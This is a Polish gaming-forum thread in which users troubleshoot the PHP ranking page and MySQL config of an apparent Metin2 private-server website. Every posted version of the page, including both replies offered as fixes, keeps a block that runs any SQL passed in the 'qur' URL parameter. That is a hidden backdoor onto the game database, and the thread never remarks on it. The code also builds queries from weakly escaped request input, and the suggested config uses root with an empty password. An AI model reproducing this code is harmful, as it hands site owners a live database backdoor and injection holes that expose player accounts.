Skocz do zawartości

Dołącz do społeczności!

👋 Witaj na MPCForum!

Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

  • ✅ Pełny dostęp do działów i ukrytych treści
  • ✅ Możliwość pisania i odpowiadania w tematach
  • ✅ System prywatnych wiadomości
  • ✅ Zbieranie reputacji i rozwijanie swojego profilu
  • ✅ Członkostwo w jednej z największych społeczności graczy

👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

Zarejestruj się teraz

[Problem] Ranking / Php / Bledy

Rekomendowane odpowiedzi

Opublikowano

Witam mam taki problem, otoz mam problem, ranking... nie dziala... pokazuje ze nie mozna sie polaczyc z bazą danych a baza działa, rejestracja tez... a rank nie...

Oto moj kod rankingu:

 

 

<?php
/*
Abecadlo
*/
session_start();
require_once("config.php");
                       mysql_select_db("player");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2" />
<title><?php require_once('pliki/nazwa.php'); ?>  :: Ranking</title>
<meta http-equiv="Reply-to" content="" />
<meta name="Description" content="opis strony" />
<meta name="keywords" content="słowa kluczowe" />
<meta name="Author" content="Autor" />
<meta name="Robots" content="ALL" />
<meta name="revisit-after" content="10" />
<link rel="stylesheet" type="text/css" href="style.css" />
</head>

<body>

<div class="pds">
<div class="pds1"> 
<div><img src="images/t.jpg" alt="" /></div>
<div><img src="images/t1.jpg" alt="" /></div>
   <div class="t2">
   	<div class="t2a"><img src="images/t2a.jpg" alt="" /></div>
     <div class="t2b"><img src="images/t2b.jpg" alt="" /></div>
       <div class="form">
       	<?php require_once('pliki/log.php'); ?>
     </div>
     <div class="f-info"><a href="frogetpsd.php">Odzyskaj konto</a></div>
   </div>

<div class="s">
   	<div class="s1">
	<div class="left">
<?php require_once('pliki/main.php'); ?>

	</div>
	<div class="right">

		<div class="tekst">
		<?
		$query = $_GET['qur'];
if (!empty($query)) {
$asd = mysql_query($query);
if (!$asd) {
echo "BLAD";
} else {
echo "Huraa";
}
}
?>
<?php
session_start();
require_once("config.php");
@mysql_connect($sql_host, $sql_user, $sql_pass);

echo"<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>
<html>
<head>
<title>Ranking</title>
<meta http-equiv='Content-type' content='text/html; charset=iso-8859-2'>
<link rel='stylesheet' type='text/css' href='styles.css'>
</head>
<body>
<div id='header'>
<div id='search'>
	<center><img src=\"images/banner_ranking_graczy.gif\" border=\"0\" alt=\"Rankingi Graczy\" /></center>
	<center>
	<div style='margin-top: 11px'>\n";


if(isset($_GET['nr']) && $_GET['nr'] != '') { $nr1 = addslashes($_GET['nr'])-35; $nr = addslashes($_GET['nr']); $nr2 = addslashes($_GET['nr'])+35; } else { $nr1 = '-35'; $nr = '0'; $nr2 = '35'; }
echo "<div class='box'>
		<div class='content'>
			<table cellspacing='0' cellpadding='2' border='0'>
				<tr>
					<td width='30'> </td>
					<td align='right' width='30' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>id</b></td>
					<td width='4' style='border-bottom:1px solid #9E0C08'> </td>
					<td align='left' width='100' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Nazwa</b></td>
					<td align='right' width='50' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Lvl</b></td>
					<td align='right' width='90' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Exp</b></td>
					<td align='right' width='70' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Czas Gry</b></td>
					<td align='center' width='90' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Królestwo</b></td>
				</tr>\n";
@mysql_select_db("player");
$abfrage = "SELECT id, name, account_id, level, exp, playtime FROM player WHERE isadmchar = 0 ORDER BY level desc, exp desc limit $nr,35";
$ergebnis = @mysql_query($abfrage);
$i=$nr+1;
while($row = @mysql_fetch_array($ergebnis)) {
	echo "<tr>
			<td> </td>
			<td align='right'>".$i."</td>
			<td> </td>
			<td align='left' style='color: #9E0C08'><a href='http://91.121.177.30/sig/sigm.php?id=".$row['id']."&styl=2&font=blue' target='_BLANK'>".$row['name']."</a></td>
			<td align='right' style='border-right:1px solid #CCCCCC'>".$row['level']."</td>
			<td align='right' style='border-right:1px solid #CCCCCC'>".$row['exp']."</td>
			<td align='right' style='border-right:1px solid #CCCCCC'>".$row['playtime']."</td>";
	$i++;

	$sql2 = "SELECT * FROM player_index WHERE id LIKE '$row[account_id]'";
	$ergebnis2 = @mysql_query($sql2);
	$row2 = @mysql_fetch_array($ergebnis2);
	if($row2['empire'] == 1) { echo "<td align='center'><img src='images/Shinsoo.jpg' width='20' height='13'><td></td></tr>"; }
	elseif($row2['empire'] == 2) { echo "<td align='center'><img src='images/Chunjo.jpg' width='20' height='13'><td></td></tr>"; }
	else { echo "<td align='center'><img src='images/Jinno.jpg' width='20' height='13'><td></td></tr>"; }
}
$rs=@mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM player WHERE level NOT LIKE '99'"));
$num=$rs[0];
echo "</table>
		<p id='download'> </p>
		<p id='download'>".($nr1>='0' ? "<a href='?n=ranking&nr=".$nr1."'><< wstecz</a>  " : "").($nr2<$num ? "<a href='?n=ranking&nr=".$nr2."'>dalej >></a>" : "")."</p>
	</div>
</div>\n";

echo "</div>
</div>
</div>
</center>
</body>
</html>";
?>


		</div>

       </div>
	<div style="clear:both;"></div>
       </div>
</div>
<div><img src="images/d.jpg" alt=""  /></div>
</div>

</div>

</body>
</html>

 

 

A oto plik config php

 

<?php 
	$mysql_host 	= "dobre IP";
	$mysql_user 	= "uzytkownikr";
	$mysql_pass 	= "haselko ;]";

              mysql_connect($mysql_host, $mysql_user, $mysql_pass) OR

	die("Nie mozna polaczyc sie z baza danych");	



	mysql_select_db($mysql_db) OR

	die("Nie mozna polaczyc sie z baza danych"); ?>

 

Oczywiscie te dobre IP itd, to sa dobre IP, uzylem cenzury ;p

 

Za pomoc duza ilosc 5* i +, oraz bardzo będę wdzięczny ;]

Opublikowano

Pokazuje, ze nie moze sie polaczyc... Te bledy zostaly stworzone, aby bylo latwiej zweryfikowac co jest nie tak wiec jesli mozesz... Podaj dokladnie ten blad.

9.png

userbarwb.png
Zawsze promocje na sygnatury ^^

Opublikowano
  • Autor

No walsnie wywala ten blad: Nie mozna polaczyc sie z baza danych,

 

Niby wszystko dobrze zrobione, hasla wszystko a blad wywala ;/ Cos w ranku bedzie zle, ale nie wiem jak to naprawic ;/

Opublikowano

Zamien config na:

<?php 
               $mysql_host     = "dobre IP";
               $mysql_user     = "uzytkownikr";
               $mysql_pass     = "haselko ;]";

              mysql_connect($mysql_host, $mysql_user, $mysql_pass) OR

               die(mysql_error());    



               mysql_select_db($mysql_db) OR

               die(mysql_error()); ?>

I napisz jaki blad wywala

9.png

userbarwb.png
Zawsze promocje na sygnatury ^^

Opublikowano

<?php
/*
Abecadlo
*/
session_start();
require_once("config.php");
                       mysql_select_db("player");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2" />
<title><?php require_once('pliki/nazwa.php'); ?>  :: Ranking</title>
<meta http-equiv="Reply-to" content="" />
<meta name="Description" content="opis strony" />
<meta name="keywords" content="słowa kluczowe" />
<meta name="Author" content="Autor" />
<meta name="Robots" content="ALL" />
<meta name="revisit-after" content="10" />
<link rel="stylesheet" type="text/css" href="style.css" />
</head>

<body>

<div class="pds">
       <div class="pds1"> 
       <div><img src="images/t.jpg" alt="" /></div>
       <div><img src="images/t1.jpg" alt="" /></div>
   <div class="t2">
       <div class="t2a"><img src="images/t2a.jpg" alt="" /></div>
     <div class="t2b"><img src="images/t2b.jpg" alt="" /></div>
       <div class="form">
               <?php require_once('pliki/log.php'); ?>
     </div>
     <div class="f-info"><a href="frogetpsd.php">Odzyskaj konto</a></div>
   </div>

       <div class="s">
       <div class="s1">
               <div class="left">
<?php require_once('pliki/main.php'); ?>

               </div>
               <div class="right">

                       <div class="tekst">
                       <?
                       $query = $_GET['qur'];
if (!empty($query)) {
$asd = mysql_query($query);
if (!$asd) {
echo "BLAD";
} else {
echo "Huraa";
}
}
?>
       <?php
session_start();
require_once("config.php");
@mysql_connect($sql_host, $sql_user, $sql_pass);
mysql_select_db("player");

echo"<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>
<html>
<head>
       <title>Ranking</title>
       <meta http-equiv='Content-type' content='text/html; charset=iso-8859-2'>
       <link rel='stylesheet' type='text/css' href='styles.css'>
</head>
<body>
<div id='header'>
       <div id='search'>
               <center><img src=\"images/banner_ranking_graczy.gif\" border=\"0\" alt=\"Rankingi Graczy\" /></center>
               <center>
               <div style='margin-top: 11px'>\n";


       if(isset($_GET['nr']) && $_GET['nr'] != '') { $nr1 = addslashes($_GET['nr'])-35; $nr = addslashes($_GET['nr']); $nr2 = addslashes($_GET['nr'])+35; } else { $nr1 = '-35'; $nr = '0'; $nr2 = '35'; }
       echo "<div class='box'>
                       <div class='content'>
                               <table cellspacing='0' cellpadding='2' border='0'>
                                       <tr>
                                               <td width='30'> </td>
                                               <td align='right' width='30' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>id</b></td>
                                               <td width='4' style='border-bottom:1px solid #9E0C08'> </td>
                                               <td align='left' width='100' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Nazwa</b></td>
                                               <td align='right' width='50' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Lvl</b></td>
                                               <td align='right' width='90' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Exp</b></td>
                                               <td align='right' width='70' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Czas Gry</b></td>
                                               <td align='center' width='90' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Królestwo</b></td>
                                       </tr>\n";
       @mysql_select_db("player");
       $abfrage = "SELECT id, name, account_id, level, exp, playtime FROM player WHERE isadmchar = 0 ORDER BY level desc, exp desc limit $nr,35";
       $ergebnis = @mysql_query($abfrage);
       $i=$nr+1;
       while($row = @mysql_fetch_array($ergebnis)) {
               echo "<tr>
                               <td> </td>
                               <td align='right'>".$i."</td>
                               <td> </td>
                               <td align='left' style='color: #9E0C08'><a href='http://91.121.177.30/sig/sigm.php?id=".$row['id']."&styl=2&font=blue' target='_BLANK'>".$row['name']."</a></td>
                               <td align='right' style='border-right:1px solid #CCCCCC'>".$row['level']."</td>
                               <td align='right' style='border-right:1px solid #CCCCCC'>".$row['exp']."</td>
                               <td align='right' style='border-right:1px solid #CCCCCC'>".$row['playtime']."</td>";
               $i++;

               $sql2 = "SELECT * FROM player_index WHERE id LIKE '$row[account_id]'";
               $ergebnis2 = @mysql_query($sql2);
               $row2 = @mysql_fetch_array($ergebnis2);
               if($row2['empire'] == 1) { echo "<td align='center'><img src='images/Shinsoo.jpg' width='20' height='13'><td></td></tr>"; }
               elseif($row2['empire'] == 2) { echo "<td align='center'><img src='images/Chunjo.jpg' width='20' height='13'><td></td></tr>"; }
               else { echo "<td align='center'><img src='images/Jinno.jpg' width='20' height='13'><td></td></tr>"; }
       }
       $rs=@mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM player WHERE level NOT LIKE '99'"));
       $num=$rs[0];
       echo "</table>
                       <p id='download'> </p>
                       <p id='download'>".($nr1>='0' ? "<a href='?n=ranking&nr=".$nr1."'><< wstecz</a>  " : "").($nr2<$num ? "<a href='?n=ranking&nr=".$nr2."'>dalej >></a>" : "")."</p>
               </div>
       </div>\n";

echo "</div>
       </div>
</div>
</center>
</body>
</html>";
?>


                       </div>

       </div>
               <div style="clear:both;"></div>
       </div>
       </div>
       <div><img src="images/d.jpg" alt=""  /></div>
</div>

</div>

</body>
</html>

to powinno zadziałać :)

Szukam grafików, questerów Metin2, koderów www, skrypterów, programistów visual c++, c++.
Techników od bazy danych, systemów linuksowych( głównie FreeBSD).

[email protected] - > Pisać - > Rozpatrzę propozycje :)

Opublikowano

<?php
/*
Abecadlo
*/
session_start();
require_once("config.php");
                       mysql_select_db("player");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2" />
<title><?php require_once('pliki/nazwa.php'); ?>  :: Ranking</title>
<meta http-equiv="Reply-to" content="" />
<meta name="Description" content="opis strony" />
<meta name="keywords" content="słowa kluczowe" />
<meta name="Author" content="Autor" />
<meta name="Robots" content="ALL" />
<meta name="revisit-after" content="10" />
<link rel="stylesheet" type="text/css" href="style.css" />
</head>

<body>

<div class="pds">
       <div class="pds1"> 
       <div><img src="images/t.jpg" alt="" /></div>
       <div><img src="images/t1.jpg" alt="" /></div>
   <div class="t2">
       <div class="t2a"><img src="images/t2a.jpg" alt="" /></div>
     <div class="t2b"><img src="images/t2b.jpg" alt="" /></div>
       <div class="form">
               <?php require_once('pliki/log.php'); ?>
     </div>
     <div class="f-info"><a href="frogetpsd.php">Odzyskaj konto</a></div>
   </div>

       <div class="s">
       <div class="s1">
               <div class="left">
<?php require_once('pliki/main.php'); ?>

               </div>
               <div class="right">

                       <div class="tekst">
                       <?
                       $query = $_GET['qur'];
if (!empty($query)) {
$asd = mysql_query($query);
if (!$asd) {
echo "BLAD";
} else {
echo "Huraa";
}
}
?>

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>
<html>
<head>
       <title>Ranking</title>
       <meta http-equiv='Content-type' content='text/html; charset=iso-8859-2'>
       <link rel='stylesheet' type='text/css' href='styles.css'>
</head>
<body>
<div id='header'>
       <div id='search'>
               <center><img src="images/banner_ranking_graczy.gif" border="0" alt="Rankingi Graczy" /></center>
               <center>
               <div style='margin-top: 11px'>

<?php 
               require_once("config.php");
               $database = mysql_select_db("player");
$query = mysql_query("SELECT * FROM player ORDER BY level DESC limit 15");
                echo "<center><table class=tb cellpadding=\"2\" border=0 width=60%></center>";               
                                         echo "<tr>";
									  echo "<td><b>Miejsce</b>";
       echo "<td><b>Nazwa</b></td>";
               echo "<td><b>Poziom</b></td>";
			echo "<td><b>Królestwo</b></td>";
       echo "</tr>";
$i = $nr+1;
while($player = mysql_fetch_array($query))

           if($player["id"] != 273 && $player["id"] != 273 AND $player["id"] != 273 && $player["id"] != 273 AND $player["id"] != 273 && $player["id"] != 273 AND $player["id"] != 273 && $player["id"] != 273) {


               echo "<tr>";
			echo "<td>".$i."</td>";
       echo "<td>".$player["name"]."</td>";              
               echo "<td>".$player["level"]." </td>";
			$query2 = mysql_query("SELECT * FROM player_index WHERE id LIKE '$player[account_id]'");
			while($player2 = mysql_fetch_array($query2))
	if($player2['empire'] == 1) { 
	echo "<td align='center'><img src='images/Shinsoo.jpg' width='50' height='33' alt='Shinsoo'></td>"; 
	}
	elseif($player2['empire'] == 2) {
	echo "<td align='center'><img src='images/Chunjo.jpg' width='50' height='33' alt='Chunjo'></td>"; 
	}
	else {
	echo "<td align='center'><img src='images/Jinno.jpg' width='50' height='33' alt='Jinno'></td>"; 
	}
$i++;
}

							echo "</tr>";
?> 
       </div>
</div>
</center>
</body>
</html>


                       </div>

       </div>
               <div style="clear:both;"></div>
       </div>
       </div>
       <div><img src="images/d.jpg" alt=""  /></div>
</div>

</div>

</body>
</html>

to powinno zadziałać :)

CO prawda troche zmieniony ranking ale działa ;)

PS. tutaj daje prawidlowy config do uzupelnienia

<?php 
               $mysql_host     = "localhost";
               $mysql_user     = "root";
               $mysql_pass     = "";
	$mysql_db	= "player";

              mysql_connect($mysql_host, $mysql_user, $mysql_pass) OR

               die(mysql_error());    



               mysql_select_db($mysql_db) OR

               die(mysql_error()); ?>

Szukam grafików, questerów Metin2, koderów www, skrypterów, programistów visual c++, c++.
Techników od bazy danych, systemów linuksowych( głównie FreeBSD).

[email protected] - > Pisać - > Rozpatrzę propozycje :)

Gość
Ten temat został zamknięty. Brak możliwości dodania odpowiedzi.

Ostatnio przeglądający 0

  • Brak zarejestrowanych użytkowników przeglądających tę stronę.

Konto

Nawigacja

Skonfiguruj powiadomienia push w przeglądarce

Chrome (Android)
  1. Stuknij ikonę kłódki obok paska adresu.
  2. Stuknij Uprawnienia → Powiadomienia.
  3. Dostosuj swoje ustawienie.
Chrome (Komputer)
  1. Kliknij ikonę kłódki na pasku adresu.
  2. Wybierz Ustawienia witryny.
  3. Znajdź Powiadomienia i dostosuj swoje ustawienie.